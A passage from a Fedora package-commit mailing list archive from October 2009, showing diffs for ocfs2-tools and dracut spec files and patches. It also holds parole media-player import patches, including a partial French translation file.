 Requires: python >= 2.5, %{name} = %{version}-%{release}
 
-
 %description -n ocfs2console
 Ocfs2console can make it easier to manage an Ocfs2 cluster by
 providing a gui front-end to common tasks, including initial cluster
@@ -68,14 +70,21 @@ Provides: %{name}-static = %{version}-%{
 ocfs2-tools-devel contains the libraries and header files needed to
 develop Ocfs2 filesystem-specific programs.
 
+%package cman
+Summary: Tools for managing the Ocfs2 cluster file system (cman component)
+Group: System Environment/Base
+Requires: cman >= 3.0.0-1
+Requires: %{name} = %{version}-%{release}
 
+%description cman
+ocfs2-tools-cman contains the daemon required to use Ocfs2 with
+cman cluster manager
 
 %prep
 %setup -q
 
-
 %build
-%configure \
+%{configure} \
 %if ! %{with_console}
     --enable-ocfs2console=no \
 %endif
@@ -84,7 +93,6 @@ develop Ocfs2 filesystem-specific progra
 # parallel build currently fails, so no %{_smp_mflags}
 CFLAGS="$(echo '%{optflags}')" make
 
-
 %install
 rm -rf "$RPM_BUILD_ROOT"
 
@@ -93,6 +101,9 @@ cp -f vendor/common/o2cb.init $RPM_BUILD
 cp -f vendor/common/ocfs2.init $RPM_BUILD_ROOT/%{_initrddir}/ocfs2
 mkdir -p $RPM_BUILD_ROOT/etc/sysconfig
 cp -f vendor/common/o2cb.sysconfig $RPM_BUILD_ROOT/etc/sysconfig/o2cb
+mkdir -p $RPM_BUILD_ROOT/etc/udev/rules.d
+cp -f vendor/common/51-ocfs2.rules \
+ $RPM_BUILD_ROOT/etc/udev/rules.d/51-ocfs2.rules
 
 make DESTDIR="$RPM_BUILD_ROOT" install
 
@@ -102,19 +113,11 @@ chmod 644 $RPM_BUILD_ROOT/%{_libdir}/*.a
 %{__python} -c "import compileall; compileall.compile_dir('$RPM_BUILD_ROOT/%{python_sitearch}/ocfs2interface', ddir='%{python_sitearch}/ocfs2interface')"
 # rpm autostripper needs to see these as executable
 chmod 755 $RPM_BUILD_ROOT/%{python_sitearch}/ocfs2interface/*.so
-
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/ocfs2console/
-cp -f vendor/common/ocfs2console.png $RPM_BUILD_ROOT%{_datadir}/ocfs2console/
-desktop-file-install --vendor="fedora"                    \
-  --dir=$RPM_BUILD_ROOT%{_datadir}/applications/    \
-  vendor/common/ocfs2console.desktop
 %endif
 
-
 %clean
 rm -rf "$RPM_BUILD_ROOT"
 
-
 %post
 /sbin/chkconfig --add o2cb
 /sbin/chkconfig --add ocfs2
@@ -138,11 +141,13 @@ fi
 /sbin/debugfs.ocfs2
 /sbin/o2cb_ctl
 /sbin/mount.ocfs2
-/sbin/ocfs2cdsl
 /sbin/ocfs2_hb_ctl
+/sbin/o2image
 %{_initrddir}/o2cb
 %{_initrddir}/ocfs2
+%config(noreplace) /etc/udev/rules.d/51-ocfs2.rules
 %config(noreplace) /etc/sysconfig/o2cb
+%{_mandir}/man7/o2cb.7.gz
 %{_mandir}/man8/debugfs.ocfs2.8.gz
 %{_mandir}/man8/fsck.ocfs2.8.gz
 %{_mandir}/man8/fsck.ocfs2.checks.8.gz
@@ -152,8 +157,7 @@ fi
 %{_mandir}/man8/mounted.ocfs2.8.gz
 %{_mandir}/man8/o2cb_ctl.8.gz
 %{_mandir}/man8/ocfs2_hb_ctl.8.gz
-%{_mandir}/man8/ocfs2cdsl.8.gz
-
+%{_mandir}/man8/o2image.8.gz
 
 %if %{with_console}
 %files -n ocfs2console
@@ -162,9 +166,6 @@ fi
 %{python_sitearch}/ocfs2interface/*
 %{_sbindir}/ocfs2console
 %{_mandir}/man8/ocfs2console.8.gz
-%{_datadir}/applications/fedora-ocfs2console.desktop
-%dir %{_datadir}/ocfs2console/
-%{_datadir}/ocfs2console/*
 %endif
 
 %files devel
@@ -180,9 +181,39 @@ fi
 %{_includedir}/o2dlm/*
 %{_includedir}/ocfs2/*
 
-
+%files cman
+%defattr(-,root,root,-)
+/sbin/ocfs2_controld.cman
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-1
+- New upstream release.
+
+* Mon Sep 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-5
+- Fix pcmk resource agent.
+
+* Tue Sep 15 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-4
+- Add pcmk resource agent.
+
+* Thu Sep  3 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-3
+- Fix pcmk and cman Requires.
+
+* Wed Sep  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-2
+- Fix udev rule packaging
+
+* Mon Aug 31 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-1
+- New upstream release
+- Undefine alpha tag
+- Add patch to fix 2 minor build glitches
+- Add Requires: redhat-lsb for init scripts
+- Update BuildRequires to enable all features
+- Add ocfs2-tools-{cman,pcmk} packages with respective control daemons
+- Install udev rule
+- Update file lists
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.9-11.20080221git
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.9-10.20080221git
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Apr 2008 18:52:22 -0000	1.2
+++ sources	9 Oct 2009 07:44:49 -0000	1.3
@@ -1 +1 @@
-150346c30891caa4273849f23fdc1a08  ocfs2-tools-1.3.9.tar.gz
+7d8895ea41999ce8f468e2bc7dc55ddc  ocfs2-tools-1.4.3.tar.gz



From harald at fedoraproject.org  Fri Oct  9 08:23:26 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Fri,  9 Oct 2009 08:23:26 +0000 (UTC)
Subject: rpms/dracut/F-12
	dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch, NONE,
	1.1 dracut.spec, 1.39, 1.40
Message-ID: <20091009082326.9BCB611C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7634

Modified Files:
	dracut.spec 
Added Files:
	dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch 
Log Message:
* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.2
- do not fail, if libdmraid-events-isw.so is not present


dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch:
 install |    8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

--- NEW FILE dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch ---
commit 4d9b6060d4df252474f3cc8999726f2066587cda
Author: Harald Hoyer <harald at redhat.com>
Date:   Fri Oct 9 10:16:08 2009 +0200

    dmraid: do not fail if /usr/lib/libdmraid-events-isw.so is not present

diff --git a/modules.d/90dmraid/install b/modules.d/90dmraid/install
index 0aecb2a..11a47a8 100755
--- a/modules.d/90dmraid/install
+++ b/modules.d/90dmraid/install
@@ -1,11 +1,9 @@
 #!/bin/bash
 dracut_install dmraid partx kpartx 
 
-if which dmeventd &>/dev/null ; then
-    dracut_install  dmeventd
-    dracut_install  /usr/lib*/libdmraid-events-isw.so*
-    inst_rules 10-dm.rules 12-dm-disk.rules 95-dm-notify.rules 
-fi
+inst  dmeventd
+inst  /usr/lib*/libdmraid-events-isw.so*
+inst_rules 10-dm.rules 12-dm-disk.rules 95-dm-notify.rules 
 
 inst "$moddir/dmraid.sh" /sbin/dmraid_scan
 


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- dracut.spec	7 Oct 2009 14:15:42 -0000	1.39
+++ dracut.spec	9 Oct 2009 08:23:24 -0000	1.40
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 13%{?rdist}
+Release: 13.2%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -24,6 +24,7 @@ Source0: dracut-%{version}%{?dashgittag}
 Patch1: dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch
 Patch2: dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch
 Patch3: dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch
+Patch4: dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: udev
@@ -111,6 +112,7 @@ This package contains tools to assemble 
 %patch1 -p1
 %patch2 -p1
 %patch3 -p1
+%patch4 -p1
 
 %build
 make
@@ -192,6 +194,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.2
+- do not fail, if libdmraid-events-isw.so is not present
+
 * Wed Oct 07 2009 Harald Hoyer <harald at redhat.com> 002-13
 - fixed init=<command> handling
 - kill loginit if "rdinitdebug" specified



From cwickert at fedoraproject.org  Fri Oct  9 08:30:48 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri,  9 Oct 2009 08:30:48 +0000 (UTC)
Subject: rpms/parole/devel import.log, NONE,
	1.1 parole-0.1.90-fix-website-url.patch, NONE,
	1.1 parole-0.1.90-include-french-translation.patch, NONE,
	1.1 parole-0.1.90-include-galician-translation.patch, NONE,
	1.1 parole-0.1.90-include-german-translation.patch, NONE,
	1.1 parole-0.1.90-update-asturian-translation.patch, NONE,
	1.1 parole-0.1.90-update-japanese-translation.patch, NONE,
	1.1 parole.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009083048.A467711C00C1@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9692/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch parole.spec 
Log Message:
Initial import of parole. Review was at
https://bugzilla.redhat.com/show_bug.cgi?id=527840



--- NEW FILE import.log ---
parole-0_1_90-2_fc11:HEAD:parole-0.1.90-2.fc11.src.rpm:1255076961

parole-0.1.90-fix-website-url.patch:
 parole/parole-about.c                  |    7 ++++---
 plugins/properties/stream-properties.c |    2 +-
 plugins/tray/tray-icon.c               |    2 +-
 plugins/window-title/window-title.c    |    3 +--
 4 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE parole-0.1.90-fix-website-url.patch ---
>From 346982b9ca86b645b19385fa7549ec43e38c2b88 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 13:25:44 +0000
Subject: Correct the project website

---
diff --git a/parole/parole-about.c b/parole/parole-about.c
index ee36f11..b989100 100644
--- a/parole/parole-about.c
+++ b/parole/parole-about.c
@@ -52,7 +52,7 @@ void  parole_about (const gchar *package)
                                 XFCE_COPYRIGHT_TEXT ("2009", "Ali Abdallah"), 
 				XFCE_LICENSE_GPL);
 
-    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole-media-player");
+    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole");
     xfce_about_info_add_credit (info, "Ali Abdallah", "aliov at xfce.org", _("Author/Maintainer"));
   
 
@@ -69,11 +69,12 @@ void  parole_about (const gchar *package)
     
     dialog = xfce_about_dialog_new_with_values (NULL, info, icon);
     
-    if (icon)
-	g_object_unref (G_OBJECT (icon));
 	
     gtk_dialog_run (GTK_DIALOG (dialog));
     gtk_widget_destroy (dialog);
 
     xfce_about_info_free (info);
+    
+    if (icon)
+	g_object_unref (G_OBJECT (icon));
 }
diff --git a/plugins/properties/stream-properties.c b/plugins/properties/stream-properties.c
index 5cb6cc7..f49f331 100644
--- a/plugins/properties/stream-properties.c
+++ b/plugins/properties/stream-properties.c
@@ -490,4 +490,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Properties"),            /* Title */
 			 _("Read media properties"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org",            /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/tray/tray-icon.c b/plugins/tray/tray-icon.c
index b64c962..b56b57d 100644
--- a/plugins/tray/tray-icon.c
+++ b/plugins/tray/tray-icon.c
@@ -544,4 +544,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  	    /* Construct function
 			 _("Tray icon"),            	    /* Title */
 			 _("Show icon in the system tray"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org", /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/window-title/window-title.c b/plugins/window-title/window-title.c
index 976fb5a..ff49057 100644
--- a/plugins/window-title/window-title.c
+++ b/plugins/window-title/window-title.c
@@ -103,4 +103,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Set the main window name to the current\n"
 			  " playing media name."),    /* Description */
 			  "Copyright \302\251 2009 Sarah Hijazi",            /* Author */
-			  "http://goodies.xfce.org/projects/applications/parole-media-player");            /* site */
+			  "http://goodies.xfce.org/projects/applications/parole");            /* site */
--
cgit v0.8.2.1

parole-0.1.90-include-french-translation.patch:
 fr.po |  725 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 724 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-french-translation.patch ---
>From 051f1a31c797c60ccedd1a36b6403aac9b950ed8 Mon Sep 17 00:00:00 2001
From: Steve Dodier <sidnioulz at gmail.com>
Date: Wed, 07 Oct 2009 05:23:23 +0000
Subject: l10n: Uploading a french translation.

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/fr.po b/po/fr.po
new file mode 100644
index 0000000..e917d6d
--- a/dev/null
+++ b/po/fr.po
@@ -0,0 +1,724 @@
+# French translations of parole
+# Copyright (C) 2009 the parole-media-player's copyright holder
+# This file is distributed under the same license as the parole-media-player package.
+# Steve Dodier <sidnioulz at gmail.com>
+msgid ""
+msgstr ""
+"Project-Id-Version: ast\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-04 10:38:54+02:00\n"
+"PO-Revision-Date: 2009-10-04 11:48+0100\n"
+"Last-Translator: Steve Dodier <sidnioulz at gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: France\n"
+"Language-Team: \n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (?cran large)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Ratio d'Aspect"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Auto"
+
+#: ../data/interfaces/parole.ui.h:6
+#, fuzzy
+msgid "Chapter Menu"
+msgstr "Menu des Chapitres"
+
+#: ../data/interfaces/parole.ui.h:7
+#, fuzzy
+msgid "DVD Menu"
+msgstr "Menu du DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Cacher la liste de lecture"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Lecteur M?dia"
+
+#: ../data/interfaces/parole.ui.h:10
+#, fuzzy
+msgid "Mute"
+msgstr "Mettre en sourdine"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Chapitre Suivant"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Aucun"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Lecteur M?dia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Greffons"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Chapitre Pr?c?dent"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "R?p?ter"
+
+#: ../data/interfaces/parole.ui.h:17
+#, fuzzy
+msgid "Select Track"
+msgstr "S?lectionner une Piste"
+
+#: ../data/interfaces/parole.ui.h:18
+#, fuzzy
+msgid "Shuffle"
+msgstr "M?langer"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Carr?"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Diminuer le Volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Augmenter le Volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_?diter"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "Aid_e"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_M?dia"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Affichage"
+
+#: ../data/interfaces/parole.ui.h:27
+msgid "gtk-leave-fullscreen"
+msgstr "gtk-leave-fullscreen"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Auteur :</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Description :</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+#, fuzzy
+msgid "<b>Site:</b>"
+msgstr "<b>Site :</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Pr?f?rences des Greffons de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "gtk-close"
+msgstr "gtk-close"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "gtk-properties"
+msgstr "gtk-properties"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Affichage</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Sous-titres</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Charger les sous-titres automatiquement lors de la lecture d'un film"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Luminosit? :"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste :"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Activer la visualisation lors de la lecture d'un fichier audio"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Encodage :"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Police :"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Teinte :"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Param?tres du Lecteur M?dia"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Param?tres de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+#, fuzzy
+msgid "Reset To Defaults"
+msgstr "R?initialiser "
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturation :"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Type de visualisation :"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Par Extension"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "S?lectionner des Types de Fichiers (Par Extension)"
+
+#: ../parole/main.c:52
+#, fuzzy, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Lecteur M?dia Parole %s\n"
+"\n"
+"Membre du Projet des Goodies Xfce\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Sous licence GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:156
+msgid "Open a new instance"
+msgstr "Ouvrir une nouvelle instance"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Information de version"
+
+#: ../parole/main.c:158
+msgid "Media to play"
+msgstr "M?dia ? lire"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr "Parole est d?j? en cours de fonctionnement. Utilisez -i pour ouvrir une nouvelle instance\n"
+
+#: ../parole/parole-gst.c:1289
+#, fuzzy
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon de lecture GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1305
+#, fuzzy
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon vid?o GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1501
+#, fuzzy
+msgid "The stream is tacking too much time to load"
+msgstr "Le flux met trop de temps ? charger"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Arr?t"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Ajouter des fichiers m?dia"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Ajouter"
+
+#: ../parole/parole-medialist.c:432
+#, fuzzy
+msgid "Error saving playlist file"
+msgstr "Erreur lors de la sauvegarde de la liste de lecture"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permission non accord?e"
+
+#: ../parole/parole-medialist.c:441
+#, fuzzy
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr "Format de liste de lecture inconnu, Veuillez s?lectionner un format de liste de lecture pris en charge"
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Liste de lecture"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Listes de lecture M3U"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Listes de lecture PLS"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Redirecteur de Flux Avanc?"
+
+#: ../parole/parole-medialist.c:538
+msgid "Shareable Playlist"
+msgstr "Liste de Lecture Partageable"
+
+#: ../parole/parole-medialist.c:853
+msgid "Remember playlist"
+msgstr "Se souvenir de la liste de lecture"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Liste de m?dias"
+
+#: ../parole/parole-player.c:297
+msgid "Show playlist"
+msgstr "Afficher la liste de lecture"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "Le flux m?dia ne peut ?tre parcouru"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Piste Suivante"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Piste Pr?c?dente"
+
+#: ../parole/parole-statusbar.c:60
+#, fuzzy
+msgid "Buffering"
+msgstr "Mise en tampon"
+
+#: ../parole/parole-statusbar.c:77
+#, fuzzy
+msgid "Stopped"
+msgstr "Interrompu"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Fini"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Mis en pause"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Flux live :"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Vid?o"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio et vid?o"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Tous les fichiers pris en charge"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Listes de lecture"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Auteur / Mainteneur"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Traducteur (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Lire un Disque"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Langue Actuelle"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Arm?nien"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltique"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celtique"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Europe Centrale"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinois Simplifi?"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinois Traditionnel"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croate"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cyrillique"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cyrillique / Russe "
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cyrillique / Ukrainien"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "G?orgien"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grec"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujrati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukh?"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "H?breux"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "H?breux Visuel"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Islandais"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
